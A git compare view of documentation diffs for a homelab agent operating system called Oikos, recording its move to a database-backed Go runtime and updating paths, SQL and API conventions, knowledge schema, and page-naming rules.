Compare commits
52 Commits
55781984c7
...
claude/web
| Author | SHA1 | Date | |
|---|---|---|---|
| 7e1ccad5f4 | |||
| 89312a9ce4 | |||
| ce0e4142ff | |||
| 873b00ac42 | |||
| b345783eef | |||
| 29d5cb8b85 | |||
| 8f440c5ad5 | |||
| 4e4e2c169c | |||
| c151a66627 | |||
| 1c12d40712 | |||
| 482c7f3448 | |||
| 50aed11cc4 | |||
| ccbf6a8aac | |||
| ef2956619f | |||
| dffe01fb02 | |||
| 0f9e366ad5 | |||
| 052230209c | |||
| e5a81241b7 | |||
| 6b6bfe1fd8 | |||
| ce34cfeac7 | |||
| 55b93c59ef | |||
| eb3d2de1ca | |||
| d82095213a | |||
| 7b1dfbc8aa | |||
| f1cdf4ea13 | |||
| e055a7c6ce | |||
| 9f4d645d06 | |||
| aee458ce83 | |||
| 58a11ca872 | |||
| aed068de12 | |||
| 8657ac5669 | |||
| e28e0e9ea3 | |||
| 6051fb4845 | |||
| 544afae77f | |||
| bd44626532 | |||
| b0cdf64bbf | |||
| d6b3d3c88b | |||
| 8615f2268f | |||
| 258b14dcbc | |||
| 646373a676 | |||
| 69964abe2e | |||
| 6806fac5fd | |||
| 7dc1c1ae39 | |||
| 8709e01dcb | |||
| c96c795126 | |||
| 463bdacf5c | |||
| fb39a48bef | |||
| a2410cf9c2 | |||
| d2950dd09d | |||
| 0a3654b08f | |||
| c3973e7ac9 | |||
| e3a0326c78 |
@@ -13,13 +13,13 @@ service itself.
|
|||||||
|
|
||||||
## Source of truth
|
## Source of truth
|
||||||
|
|
||||||
The homelab-context repo at `/opt/homelab-context/` is the single source of
|
The homelab-context repo at `/opt/homelab/` is the single source of
|
||||||
truth for:
|
truth for:
|
||||||
- Fleet topology (`inventory.yaml`)
|
- Fleet topology (`inventory.yaml`)
|
||||||
- Agent behaviour and conventions
|
- Agent behaviour and conventions
|
||||||
- Everything in this file
|
- Everything in this file
|
||||||
|
|
||||||
When in doubt, check `/opt/homelab-context/` first, or query the Oikos API/MCP
|
When in doubt, check `/opt/homelab/` first, or query the Oikos API/MCP
|
||||||
server directly (see [AGENTS.md](../AGENTS.md) §3-4) — the database is
|
server directly (see [AGENTS.md](../AGENTS.md) §3-4) — the database is
|
||||||
authoritative at runtime.
|
authoritative at runtime.
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
# Oikos — the operating model
|
# Oikos — the operating model
|
||||||
|
|
||||||
Oikos (Greek: *household*) is the agent operating system layered on this
|
Oikos (Greek: *household*) is the agent operating system layered on this
|
||||||
repo. It is not new infrastructure: `inventory.yaml` is the kernel data
|
repo. It is not new infrastructure: `seeds/inventory.yaml` is the kernel data
|
||||||
structure, the `homelab` CLI and MCP server are the syscall surface, and
|
structure, the Oikos REST API and MCP server are the syscall surface, and
|
||||||
this page defines the rules everything above them follows.
|
this page defines the rules everything above them follows.
|
||||||
|
|
||||||
Read this after [AGENTS.md](../AGENTS.md). Machine-readable companions:
|
Read this after [AGENTS.md](../AGENTS.md). Machine-readable companions:
|
||||||
@@ -100,16 +100,16 @@ via the API's `/api/v1/graph` endpoint, and the Mermaid export at
|
|||||||
|
|
||||||
The Oikos runtime was rewritten from Python to Go over 6 phases and is deployed
|
The Oikos runtime was rewritten from Python to Go over 6 phases and is deployed
|
||||||
in Docker on mac-mini. See
|
in Docker on mac-mini. See
|
||||||
[plans/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md](../plans/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md)
|
[plans/done/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md](../plans/done/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md)
|
||||||
for the full plan. The Python codebase has been removed; all functionality runs
|
for the full plan. The Python codebase has been removed; all functionality runs
|
||||||
in the Go binary.
|
in the Go binary.
|
||||||
|
|
||||||
**Phase 1 — Ontology + DB (DONE):**
|
**Phase 1 — Ontology + DB (DONE):**
|
||||||
- `migrations/` (001–011): TimescaleDB hypertables, entity_status, CAGGs,
|
- `migrations/` (001–020, forward-only): TimescaleDB hypertables, entity_status, CAGGs,
|
||||||
retention policies, knowledge entities with FTS. Forward-only, idempotent.
|
retention policies, knowledge entities with FTS. Idempotent.
|
||||||
- `seeds/{ontology,inventory,policy,knowledge}.yaml`: DB-native bootstrap +
|
- `seeds/{ontology,inventory,policy,knowledge}.yaml`: DB-native bootstrap +
|
||||||
DR export. Knowledge seed contains 36 documents, 6 investigations, and 12
|
DR export. Knowledge seed contents are not hardcoded here — count them
|
||||||
runbooks.
|
from the seed or query the DB.
|
||||||
- `blast_radius()` SQL CTE, type hierarchy, abstract types, relationship
|
- `blast_radius()` SQL CTE, type hierarchy, abstract types, relationship
|
||||||
validation.
|
validation.
|
||||||
- Go packages: `internal/db/`, `internal/ontology/`, `internal/domain/`,
|
- Go packages: `internal/db/`, `internal/ontology/`, `internal/domain/`,
|
||||||
@@ -139,8 +139,8 @@ in the Go binary.
|
|||||||
|
|
||||||
**Phase 4 — Agent / Nomos (DONE):**
|
**Phase 4 — Agent / Nomos (DONE):**
|
||||||
- Standalone Nomos MCP client binary (`cmd/nomos`) with gateway mode
|
- Standalone Nomos MCP client binary (`cmd/nomos`) with gateway mode
|
||||||
(:8092). Structured queries + natural-language routing to 15 MCP tools.
|
(:8092). Structured queries + natural-language routing to the MCP tool
|
||||||
Agent activity logging on every tool call. No SSH keys.
|
list (see AGENTS.md §3). Agent activity logging on every tool call. No SSH keys.
|
||||||
- `nomos/` directory with config, SOUL.md, homelab-ops skill.
|
- `nomos/` directory with config, SOUL.md, homelab-ops skill.
|
||||||
- Nomos Docker service in `docker-compose.yml` (profile: full).
|
- Nomos Docker service in `docker-compose.yml` (profile: full).
|
||||||
- Go packages: `cmd/nomos/`, `compose/nomos/`.
|
- Go packages: `cmd/nomos/`, `compose/nomos/`.
|
||||||
|
|||||||
@@ -94,7 +94,12 @@ current phase status). To add a new capability:
|
|||||||
## SQL conventions
|
## SQL conventions
|
||||||
|
|
||||||
- Queries live in `internal/db/queries/*.sql` with `-- name: FuncName :exec`
|
- Queries live in `internal/db/queries/*.sql` with `-- name: FuncName :exec`
|
||||||
annotations for sqlc
|
annotations for sqlc. Generated code in `internal/db/sqlcgen/` — never
|
||||||
|
hand-edit. Call via `sqlcgen.New(pool).QueryName(ctx, params)`.
|
||||||
|
- **sqlc is the default** for all DB access. Raw `pool.Query/Exec` with inline
|
||||||
|
SQL is a documented carve-out for cases sqlc can't express: `LISTEN`/`NOTIFY`,
|
||||||
|
dynamic WHERE-clause builders, `blast_radius()` (opaque return type), and
|
||||||
|
`COPY`. All other DB access should go through sqlc queries.
|
||||||
- Use `pgx/v5` driver. UUIDs use `pgtype.UUID`, timestamps use `time.Time`
|
- Use `pgx/v5` driver. UUIDs use `pgtype.UUID`, timestamps use `time.Time`
|
||||||
- CTEs for graph traversals (blast radius, dependency chains)
|
- CTEs for graph traversals (blast radius, dependency chains)
|
||||||
- CAGGs and retention policies for TimescaleDB hypertables
|
- CAGGs and retention policies for TimescaleDB hypertables
|
||||||
@@ -108,6 +113,23 @@ current phase status). To add a new capability:
|
|||||||
implement it in `internal/httpapi/impl.go`
|
implement it in `internal/httpapi/impl.go`
|
||||||
- Problem+JSON errors via `internal/httpapi/problem.go` — RFC 9457 format
|
- Problem+JSON errors via `internal/httpapi/problem.go` — RFC 9457 format
|
||||||
- Cursor pagination, If-Match/ETag, idempotency keys, SSE streaming
|
- Cursor pagination, If-Match/ETag, idempotency keys, SSE streaming
|
||||||
|
- **Non-OpenAPI routes carve-out:** ~10 routes are registered manually on
|
||||||
|
the chi router in `internal/httpapi/server.go` rather than generated from
|
||||||
|
`openapi.yaml`. These fall into three categories:
|
||||||
|
1. **Auth/infra** (`/healthz`, `/api/v1/auth/oidc-*`, `/oidc-callback`) —
|
||||||
|
must bypass the auth middleware or aren't JSON API endpoints.
|
||||||
|
2. **SSE override** (`/api/v1/events/stream`) — in the spec but
|
||||||
|
re-registered manually because the strict handler can't `Flush()` per
|
||||||
|
event.
|
||||||
|
3. **Ad-hoc aggregations** (`/api/v1/knowledge/recent`,
|
||||||
|
`/api/v1/knowledge/content/{id}`, `/api/v1/activity/recent`,
|
||||||
|
`/api/v1/activity/session/{id}`, `/api/v1/learning/timeline`,
|
||||||
|
`/api/v1/learning/trend`) — return derived/aggregate shapes that don't
|
||||||
|
map cleanly to a schema type. If one of these stabilizes, promote it
|
||||||
|
to `openapi.yaml` with a proper schema and migrate the `serve*`
|
||||||
|
function to a strict handler.
|
||||||
|
The full list with reasons is in the "Non-OpenAPI routes" comment block
|
||||||
|
at the top of `NewHandler` in `server.go`.
|
||||||
|
|
||||||
## Testing philosophy
|
## Testing philosophy
|
||||||
|
|
||||||
|
|||||||
@@ -1,48 +1,93 @@
|
|||||||
# Knowledge domain — schema
|
# Knowledge domain — schema
|
||||||
|
|
||||||
The knowledge domain is the durable, authoritative current-state documentation of the homelab: one
|
The knowledge domain is the durable, authoritative current-state documentation of the homelab:
|
||||||
page per node and per cross-cutting system, synthesized from live state and evidence. It answers
|
narrative for every node and cross-cutting system, synthesized from live state and evidence. It
|
||||||
"what exists and how does it work right now."
|
answers "what exists and how does it work right now."
|
||||||
|
|
||||||
It follows the [LLM Wiki layer model](../../shared/llm-wiki.md) and the
|
It follows the [LLM Wiki layer model](../../shared/llm-wiki.md) and the
|
||||||
[writing-style](../../shared/writing-style.md) and [page-templates](../../shared/page-templates.md)
|
[writing-style](../../shared/writing-style.md) and [page-templates](../../shared/page-templates.md)
|
||||||
rules.
|
rules.
|
||||||
|
|
||||||
## The narrative / substrate split
|
## Source of truth — the database
|
||||||
|
|
||||||
The knowledge wiki is **narrative**. It sits alongside a **machine-readable substrate** that it
|
Per ADR 0003, the Postgres database is the single source of truth for all structured data **and**
|
||||||
describes but never contains. The split is load-bearing: several programs read the substrate at
|
narrative knowledge. The narrative/substrate split of the Python era is gone: the DB holds both the
|
||||||
fixed paths, so the wiki reorganization never moves it.
|
structured graph (entities, relationships, status, metrics) and the narrative layer (documents,
|
||||||
|
investigations, runbooks) in the `knowledge_entities` table.
|
||||||
|
|
||||||
| Layer | Location | Consumed by |
|
| Concern | Where it lives | How it gets there |
|
||||||
|-------|----------|-------------|
|
|---------|----------------|-------------------|
|
||||||
| Substrate — source of truth | `inventory.yaml` (root) | MCP server, `homelab` CLI, `oikos/` scheduler/drift/relations/gen-topology |
|
| Knowledge content — documents, investigations, runbooks | `knowledge_entities` table (rows linked to `entities` via `documents` / `about` edges) | Seeded from `seeds/knowledge.yaml` at deploy; mutated at runtime via the API |
|
||||||
| Substrate — generated host records | `inventory.yaml` (root) | Go `internal/mcp/` server, `bin/homelab`; the single source of truth |
|
| Seed manifest (bootstrap + DR) | `seeds/knowledge.yaml` | Hand-edited or regenerated; ingested idempotently (content-hashed via `seed_versions`) |
|
||||||
| Substrate — kernel + context cards | `oikos/` (code, `oikos/cards/`, `oikos/state.json`) | MCP `explain`, scheduler |
|
| Structured graph — hosts, services, entity types, relationships | `entities`, `relationships`, `entity_types` tables | Seeded from `seeds/{ontology,inventory}.yaml`; mutated via API/MCP |
|
||||||
| Narrative — synthesized wiki | `archive/knowledge/{hosts,containers,vms,infrastructure}/` | humans, agents via MCP `get_page` / `search_docs` |
|
| Archived narrative wiki (read-only history) | `archive/knowledge/` | Frozen 2026-07-07 when the DB became source of truth |
|
||||||
| Evidence — immutable sources | `knowledge/sources/` (references + investigations) | synthesis into wiki pages |
|
|
||||||
|
|
||||||
## Wiki pages
|
### Seed ingest
|
||||||
|
|
||||||
- **Node pages** (`archive/knowledge/containers/<id>-<name>.md`, `.../vms/<id>-<name>.md`,
|
`seeds/knowledge.yaml` has three top-level lists — `documents`, `investigations`, `runbooks` — each
|
||||||
`.../hosts/<name>.md`) follow the container/host template in
|
entry carrying `slug`, `title`, `content` (markdown), and tags. `internal/knowledge/seed.go`
|
||||||
[page-templates.md](../../shared/page-templates.md): opening definition, `## At a glance`,
|
ingests each entry by:
|
||||||
`## Role`, service/port map, storage, auto-deploy, `## Related`, `## Changelog`.
|
|
||||||
- **Cross-cutting pages** (`archive/knowledge/infrastructure/<topic>.md`) follow the cross-cutting
|
1. `getOrCreateEntity` — ensures the slug exists in `entities` (type `document` / `investigation` /
|
||||||
template: `## Why`, `## Components`, `## How to apply`, `## Gotchas`, `## Related`, `## Changelog`.
|
`runbook`).
|
||||||
- Each `inventory.yaml` host entry carries a `doc_page:` field pointing at its narrative page.
|
2. `upsertKnowledgeEntity` — writes the markdown body into `knowledge_entities`, keyed by
|
||||||
Changing where a page lives means updating that field (read by `bin/homelab`).
|
`content_hash` so re-ingest is a no-op when nothing changed.
|
||||||
|
3. `createEdge` — links the knowledge entity to its subject(s) via `documents` (for `document`) or
|
||||||
|
`about` (for `investigation`) edges. Runbooks bind to an `entity_type` via `applies_to_type`
|
||||||
|
rather than to a single entity.
|
||||||
|
|
||||||
|
### Runtime mutation
|
||||||
|
|
||||||
|
Agents register or update knowledge through the API, not by editing the seed:
|
||||||
|
|
||||||
|
- `POST /api/v1/knowledge/{entity_slug}` — upsert a document/investigation on an entity
|
||||||
|
(`upsert_knowledge` MCP tool).
|
||||||
|
- `update_entity_attributes` — merge a discovered fact (IP, version, port) into an entity.
|
||||||
|
- `create_relationship` — record a discovered edge (`depends-on`, `hosts`, `routes-to`).
|
||||||
|
|
||||||
|
> **Export gap.** `oikos export` regenerates `seeds/{ontology,inventory,policy}.yaml` from the DB
|
||||||
|
> for version control, but **not** `seeds/knowledge.yaml`. Knowledge added via the API today lives
|
||||||
|
> only in the DB until someone hand-edits the seed. Tracked as a follow-up.
|
||||||
|
|
||||||
|
## Knowledge kinds
|
||||||
|
|
||||||
|
- **Documents** (`document` entities, linked via `documents` edges) — node and cross-cutting
|
||||||
|
narrative pages. Carry `at_glance` (structured attributes) and a parsed `changelog`. Follow the
|
||||||
|
container / cross-cutting templates in [page-templates.md](../../shared/page-templates.md).
|
||||||
|
- **Investigations** (`investigation` entities, linked via `about` edges) — incident evidence,
|
||||||
|
written once at incident time. Sections: `## Summary`, `## Timeline`, `## Root cause`,
|
||||||
|
`## Mitigations applied`, `## Open questions`.
|
||||||
|
- **Runbooks** (`runbook` entities, bound by `applies_to_type`) — repeatable procedures. Carry
|
||||||
|
`risk_class` and a JSON-schema-validated `procedure`. **Runbooks also live as `SKILL.md` files
|
||||||
|
under `.agents/skills/<name>/`** — the DB row is the policy/lifecycle framing, the SKILL.md is
|
||||||
|
the executable procedure the agent loads. See
|
||||||
|
[the operations schema](../operations/schema.md).
|
||||||
|
|
||||||
## The two logs
|
## The two logs
|
||||||
|
|
||||||
- The per-page **`## Changelog`** records infrastructure changes and is machine-parsed
|
- The per-document **`## Changelog`** records infrastructure changes to that node. Keep the
|
||||||
(`get_changelog`, the Oikos ledger). Keep the `### YYYY-MM-DD — title` shape.
|
`### YYYY-MM-DD — title` shape so the parsed `changelog` field stays structured.
|
||||||
- **`knowledge/log.md`** is append-only and records *documentation-maintenance* operations only
|
- **`archive/knowledge/log.md`** is the append-only record of *documentation-maintenance*
|
||||||
(restructures, source ingests, lint sweeps): `## [YYYY-MM-DD] <op> | <summary>`. It never
|
operations on the legacy wiki (restructures, source ingests, lint sweeps):
|
||||||
duplicates the Oikos change ledger (`oikos/ledger.py`).
|
`## [YYYY-MM-DD] <op> | <summary>`. It is frozen with the rest of `archive/knowledge/`; new
|
||||||
|
doc-maintenance operations are recorded in the DB audit trail instead.
|
||||||
|
|
||||||
|
## Querying knowledge
|
||||||
|
|
||||||
|
Use MCP, not grep:
|
||||||
|
|
||||||
|
- `search_knowledge(query)` — ILIKE search over documents, investigations, and runbooks in
|
||||||
|
`knowledge_entities`.
|
||||||
|
- `get_entity_knowledge(entity_slug)` — every document, investigation, and runbook linked to one
|
||||||
|
entity, in one call.
|
||||||
|
- `get_entity(slug)` / `get_relations(entity)` — the structured graph around an entity.
|
||||||
|
|
||||||
|
Grep the clone only when MCP is unreachable, and prefer `archive/knowledge/` for historical
|
||||||
|
narrative (it is not updated when the DB changes).
|
||||||
|
|
||||||
## Same-session update rule
|
## Same-session update rule
|
||||||
|
|
||||||
A change to a node updates every page that references it in the same session — the node page, the
|
A change to a node updates the DB in the same session — the entity's attributes, the relationships
|
||||||
section `README.md` table, the root `README.md`, the Caddy/DNS/ingress pages, the host page, and
|
that reference it, and any document whose `at_glance` or changelog should reflect the new state. See
|
||||||
`inventory.yaml`. See [page-templates.md](../../shared/page-templates.md#same-session-update-rule).
|
[page-templates.md](../../shared/page-templates.md#same-session-update-rule) for the legacy wiki
|
||||||
|
equivalent (now scoped to `archive/knowledge/` history).
|
||||||
|
|||||||
@@ -6,9 +6,10 @@ follows [writing-style](../../shared/writing-style.md); runbooks and plans use t
|
|||||||
exception.
|
exception.
|
||||||
|
|
||||||
Where each kind lives: runbooks are skills under [`.agents/skills/`](../../skills/); operator
|
Where each kind lives: runbooks are skills under [`.agents/skills/`](../../skills/); operator
|
||||||
reference (command cheatsheet, enrollment, Hermes agent) lives in
|
reference (command cheatsheet, enrollment, Nomos agent) lives in
|
||||||
[`.agents/operations/`](../../operations/); investigations are sources under
|
[`.agents/operations/`](../../operations/); investigations are `investigation` entities in the DB
|
||||||
`knowledge/sources/investigations/`; plans stay in the repo-root `plans/` folder (below).
|
(historically `archive/knowledge/sources/investigations/`); plans stay in the repo-root `plans/`
|
||||||
|
folder (below).
|
||||||
|
|
||||||
## Plans always live in `plans/`
|
## Plans always live in `plans/`
|
||||||
|
|
||||||
@@ -21,7 +22,7 @@ message.** An agent drafting a plan:
|
|||||||
3. On completion, moves it to `plans/done/` and updates the index status.
|
3. On completion, moves it to `plans/done/` and updates the index status.
|
||||||
|
|
||||||
This is the single source for homelab design intent; keeping it in-repo means the plan is
|
This is the single source for homelab design intent; keeping it in-repo means the plan is
|
||||||
versioned, reviewable, and reachable by MCP `get_page`/`search_docs` like any other doc.
|
versioned, reviewable, and reachable by MCP `search_knowledge` like any other doc.
|
||||||
|
|
||||||
## Runbooks
|
## Runbooks
|
||||||
|
|
||||||
@@ -44,12 +45,14 @@ transition: "<from> -> <to>" # only for lifecycle runbooks
|
|||||||
|
|
||||||
## Investigations
|
## Investigations
|
||||||
|
|
||||||
Incident records live in `knowledge/sources/investigations/YYYY-MM-DD-slug.md` and are **evidence sources** — written
|
Incident records are `investigation` entities in the DB, linked to the entities they implicate via
|
||||||
once at incident time, then linked from the changelogs of the nodes they implicate. Sections:
|
`about` edges. They are **evidence sources** — written once at incident time, then back-linked from
|
||||||
`## Summary`, `## Timeline`, `## Root cause`, `## Mitigations applied`, `## Open questions`. Resolved
|
the changelogs of the nodes they implicate. Sections: `## Summary`, `## Timeline`, `## Root cause`,
|
||||||
incidents move to `knowledge/sources/investigations/archive/`.
|
`## Mitigations applied`, `## Open questions`. The legacy file-based investigations live at
|
||||||
|
`archive/knowledge/sources/investigations/` (frozen 2026-07-07); new investigations go in the DB.
|
||||||
|
|
||||||
## The operations log
|
## The operations log
|
||||||
|
|
||||||
`plans/log.md` and `knowledge/log.md` are append-only records of documentation operations on
|
`plans/log.md` is the append-only record of documentation operations on plans
|
||||||
those areas (`## [YYYY-MM-DD] <op> | <summary>`), distinct from the Oikos change ledger.
|
(`## [YYYY-MM-DD] <op> | <summary>`), distinct from the DB audit trail. The legacy
|
||||||
|
`archive/knowledge/log.md` is frozen with the rest of the archived wiki.
|
||||||
|
|||||||
@@ -49,7 +49,7 @@ Run from the [hubris host](../../archive/knowledge/hosts/hubris.md) as root. Whe
|
|||||||
- `ras-mc-ctl --errors` — full event log
|
- `ras-mc-ctl --errors` — full event log
|
||||||
- `cat /sys/devices/system/cpu/cpu0/cpufreq/energy_performance_preference` — should be `balance_power`
|
- `cat /sys/devices/system/cpu/cpu0/cpufreq/energy_performance_preference` — should be `balance_power`
|
||||||
- `cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor` — should be `powersave`
|
- `cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor` — should be `powersave`
|
||||||
- `ls /sys/fs/pstore/ /var/lib/systemd/pstore/` — panic traces from a previous crash (empty for pure hardware hangs — see [investigation](../../archive/knowledge/investigations/archive/2026-04-21-hubris-crash-loop.md))
|
- `ls /sys/fs/pstore/ /var/lib/systemd/pstore/` — panic traces from a previous crash (empty for pure hardware hangs — see [investigation](../../archive/knowledge/investigations/2026-04-21-hubris-crash-loop.md))
|
||||||
|
|
||||||
## Fleet apt operations
|
## Fleet apt operations
|
||||||
|
|
||||||
@@ -67,7 +67,7 @@ the dpkg-interrupted recovery procedure specifically.
|
|||||||
|
|
||||||
See [OIKOS.md](../OIKOS.md) for the operating model. The `homelab` CLI this
|
See [OIKOS.md](../OIKOS.md) for the operating model. The `homelab` CLI this
|
||||||
section used to document is retired; the actual current interface is the
|
section used to document is retired; the actual current interface is the
|
||||||
33 MCP tools cataloged in [AGENTS.md](../../AGENTS.md#3-the-mcp-server) plus
|
MCP tool catalog in [AGENTS.md §3](../../AGENTS.md#3-the-mcp-server) plus
|
||||||
the REST API. Closest current equivalents for what used to live here:
|
the REST API. Closest current equivalents for what used to live here:
|
||||||
|
|
||||||
| Old `homelab` command | Current equivalent |
|
| Old `homelab` command | Current equivalent |
|
||||||
@@ -82,7 +82,7 @@ the REST API. Closest current equivalents for what used to live here:
|
|||||||
|
|
||||||
There is no separately-deployed "Oikos Console" anymore — the control-room
|
There is no separately-deployed "Oikos Console" anymore — the control-room
|
||||||
SPA (`web/`) is the operator dashboard, served standalone (see
|
SPA (`web/`) is the operator dashboard, served standalone (see
|
||||||
[plans/2026-07-12-wails-desktop-app.md](../../plans/2026-07-12-wails-desktop-app.md)).
|
[plans/done/2026-07-12-wails-desktop-app.md](../../plans/done/2026-07-12-wails-desktop-app.md)).
|
||||||
|
|
||||||
## Related
|
## Related
|
||||||
- [Hubris host](../../archive/knowledge/hosts/hubris.md)
|
- [Hubris host](../../archive/knowledge/hosts/hubris.md)
|
||||||
|
|||||||
@@ -1,40 +1,49 @@
|
|||||||
# LLM Wiki — the documentation contract
|
# LLM Wiki — the documentation contract
|
||||||
|
|
||||||
How the narrative documentation in this repo is organized. The pattern is borrowed from the
|
How documentation in this repo is organized. The pattern is the `sources / wiki / index / log`
|
||||||
`sources / wiki / index / log` model: a durable synthesized layer (`archive/knowledge/`) built on top
|
model: a durable synthesized layer built on top of immutable evidence, with pure-listing indexes and
|
||||||
of immutable evidence (`knowledge/sources/`, incident records), with pure-listing indexes and an
|
an append-only operations log.
|
||||||
append-only operations log.
|
|
||||||
|
|
||||||
This contract governs the **narrative layer only**. The machine-readable substrate — `inventory.yaml`,
|
This contract governs the **narrative layer only**. The machine-readable source of truth — the
|
||||||
`secrets/`, `scripts/`, `bin/` — is not part of the wiki and never
|
Postgres database, bootstrapped from `seeds/` — is not part of the wiki and never moves under it.
|
||||||
moves under it. See [the knowledge schema](../domains/knowledge/schema.md) for the split.
|
See [the knowledge schema](../domains/knowledge/schema.md) for the split, and ADR 0003 for the
|
||||||
|
DB-native model.
|
||||||
|
|
||||||
## Layers
|
## Layers
|
||||||
|
|
||||||
- **Sources** are immutable raw material: incident records (`knowledge/sources/investigations/`), external reference
|
- **Source of truth** is the Postgres database. Structured data (entities, relationships, status,
|
||||||
docs (`knowledge/sources/references/`), and the live system itself (`pct config`, `docker inspect`).
|
metrics) and narrative knowledge (documents, investigations, runbooks) both live there, in the
|
||||||
Read them; do not rewrite them into other sources.
|
`entities` / `relationships` / `knowledge_entities` tables. It is bootstrapped at deploy time from
|
||||||
- **Wiki** (`archive/knowledge/`) is the synthesized, authoritative current-state layer: one page per
|
`seeds/{ontology,inventory,policy,knowledge}.yaml` (idempotent, content-hashed via
|
||||||
node (`containers/`, `vms/`, host narratives) and per cross-cutting system (`infrastructure/`). A
|
`seed_versions`) and mutated at runtime via the API/MCP. `oikos export` regenerates
|
||||||
reader understands the topic from the wiki page without reading the sources.
|
`seeds/{ontology,inventory,policy}.yaml` for version control.
|
||||||
|
- **Sources** are immutable raw material: incident records (now `investigation` entities in the DB,
|
||||||
|
historically `archive/knowledge/sources/investigations/`), external reference docs, and the live
|
||||||
|
system itself (`pct config`, `docker inspect`). Read them; do not rewrite them into other sources.
|
||||||
|
- **Wiki** — the synthesized, authoritative current-state layer. Today this is the set of
|
||||||
|
`document` entities in the DB (one per node and per cross-cutting system), queried via MCP
|
||||||
|
`search_knowledge` / `get_entity_knowledge`. The legacy file-based wiki is frozen at
|
||||||
|
`archive/knowledge/{hosts,containers,vms,infrastructure}/` for historical reference only.
|
||||||
- **Index** (`index.md` / folder `README.md`) is a pure listing — every page in scope with a
|
- **Index** (`index.md` / folder `README.md`) is a pure listing — every page in scope with a
|
||||||
one-line summary, and nothing else. Anything the section wants to say up front goes into a page
|
one-line summary, and nothing else. Anything the section wants to say up front goes into a page
|
||||||
the index lists, not into the index.
|
the index lists, not into the index.
|
||||||
- **Log** (`log.md`) is append-only, recording *doc-maintenance operations* (restructures, source
|
- **Log** is append-only, recording *doc-maintenance operations* (restructures, source ingests,
|
||||||
ingests, lint sweeps) in single-line format: `## [YYYY-MM-DD] <op> | <summary>`.
|
lint sweeps) in single-line format: `## [YYYY-MM-DD] <op> | <summary>`. The active log is the DB
|
||||||
|
audit trail; `archive/knowledge/log.md` is the frozen legacy equivalent.
|
||||||
|
|
||||||
## Two logs, kept distinct
|
## Two logs, kept distinct
|
||||||
|
|
||||||
- **`## Changelog`** on each node/topic page records *infrastructure* changes to that node. It is
|
- **`## Changelog`** on each node/topic document records *infrastructure* changes to that node. It
|
||||||
machine-parsed (`get_changelog`, the Oikos ledger) — keep the `### YYYY-MM-DD — title` shape.
|
is stored as a structured field on the `document` entity — keep the `### YYYY-MM-DD — title`
|
||||||
- **`log.md`** per area records *documentation* operations only. It never duplicates the Oikos
|
shape so it parses cleanly.
|
||||||
change ledger (`oikos/ledger.py`), which stays authoritative for infra changes with
|
- **Doc-maintenance logs** record *documentation* operations only. They never duplicate the
|
||||||
who/what/risk/approval/verification.
|
infrastructure changelog, which stays authoritative for infra changes with
|
||||||
|
who/what/risk/approval/verification (now the DB audit trail, formerly `oikos/ledger.py`).
|
||||||
|
|
||||||
## Rules
|
## Rules
|
||||||
|
|
||||||
- Wiki pages stay short and focused. A page past ~300 lines splits.
|
- Wiki pages stay short and focused. A page past ~300 lines splits.
|
||||||
- Pages stay flat under `wiki/<section>/` until there are enough to warrant a sub-group.
|
- Pages stay flat under their section until there are enough to warrant a sub-group.
|
||||||
- Every page follows [writing-style.md](writing-style.md).
|
- Every page follows [writing-style.md](writing-style.md).
|
||||||
- Plans and design docs always live in the repo `plans/` folder (`plans/YYYY-MM-DD-slug.md`),
|
- Plans and design docs always live in the repo `plans/` folder (`plans/YYYY-MM-DD-slug.md`),
|
||||||
listed in `plans/index.md`, moved to `plans/done/` on completion — never a scratch path or a chat
|
listed in `plans/index.md`, moved to `plans/done/` on completion — never a scratch path or a chat
|
||||||
|
|||||||
@@ -9,12 +9,12 @@ in [writing-style.md](writing-style.md); the layer model (sources / wiki / index
|
|||||||
**Foundational / entry-point files:** ALL-CAPS
|
**Foundational / entry-point files:** ALL-CAPS
|
||||||
|
|
||||||
- **Root level:** `AGENTS.md`, `README.md` — discovery paths for agents and humans.
|
- **Root level:** `AGENTS.md`, `README.md` — discovery paths for agents and humans.
|
||||||
- **Agent instruction** (under `.agents/`): `OIKOS.md`, `HERMES.md` — foundational docs agents read before acting.
|
- **Agent instruction** (under `.agents/`): `OIKOS.md`, `NOMOS.md` — foundational docs agents read before acting.
|
||||||
- **Reference docs:** `GLOSSARY.md` — lookup reference (like classic repo conventions: LICENSE, CHANGELOG, GLOSSARY).
|
- **Reference docs:** `GLOSSARY.md` — lookup reference (like classic repo conventions: LICENSE, CHANGELOG, GLOSSARY).
|
||||||
|
|
||||||
**Content / narrative pages:** lowercase-with-dashes, date-prefixed as needed
|
**Content / narrative pages:** lowercase-with-dashes, date-prefixed as needed
|
||||||
|
|
||||||
- **Container pages:** `<id>-<name>.md` (e.g. `101-jellyfin.md`, `132-rclone.md`). The `<id>` is the LXC/VM ordinal from `inventory.yaml`.
|
- **Container pages:** `<id>-<name>.md` (e.g. `101-jellyfin.md`, `132-rclone.md`). The `<id>` is the LXC/VM ordinal from the entity's attributes in the DB (seeded via `seeds/inventory.yaml`).
|
||||||
- **Infrastructure / cross-cutting pages:** `<topic>.md` (e.g. `dns.md`, `auto-deploy.md`, `mesh.md`). Describes a system, not a specific node.
|
- **Infrastructure / cross-cutting pages:** `<topic>.md` (e.g. `dns.md`, `auto-deploy.md`, `mesh.md`). Describes a system, not a specific node.
|
||||||
- **Plans / investigations:** `YYYY-MM-DD-<slug>.md` (e.g. `2026-07-05-oikos-prometheus-lxc.md`). Date-sorted; slug is lowercase.
|
- **Plans / investigations:** `YYYY-MM-DD-<slug>.md` (e.g. `2026-07-05-oikos-prometheus-lxc.md`). Date-sorted; slug is lowercase.
|
||||||
- **Section indices:** `README.md` (lowercase, conventional). Prefer in folders; `index.md` only if both intro prose and listing coexist.
|
- **Section indices:** `README.md` (lowercase, conventional). Prefer in folders; `index.md` only if both intro prose and listing coexist.
|
||||||
@@ -118,7 +118,7 @@ What it looks like after.
|
|||||||
Changelog entries to write, index status to update.
|
Changelog entries to write, index status to update.
|
||||||
```
|
```
|
||||||
|
|
||||||
### Investigation (`knowledge/sources/investigations/YYYY-MM-DD-slug.md`)
|
### Investigation (`investigation` entity in the DB; historically `archive/knowledge/sources/investigations/YYYY-MM-DD-slug.md`)
|
||||||
|
|
||||||
```markdown
|
```markdown
|
||||||
# YYYY-MM-DD — <title>
|
